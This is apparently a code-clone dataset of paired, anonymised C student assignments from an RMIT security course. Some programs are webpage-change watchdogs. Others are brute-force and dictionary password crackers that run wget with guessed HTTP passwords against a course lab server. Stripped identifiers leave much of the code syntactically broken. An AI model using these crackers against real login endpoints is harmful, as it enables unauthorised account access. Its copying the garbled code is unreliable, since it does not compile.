#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
043.c
030.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
043.c
044.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
043.c
051.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
043.c
066.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
043.c
026.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
043.c
067.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
043.c
024.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
043.c
009.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
014.c
050.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
014.c
016.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
014.c
007.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
014.c
054.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
014.c
021.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = 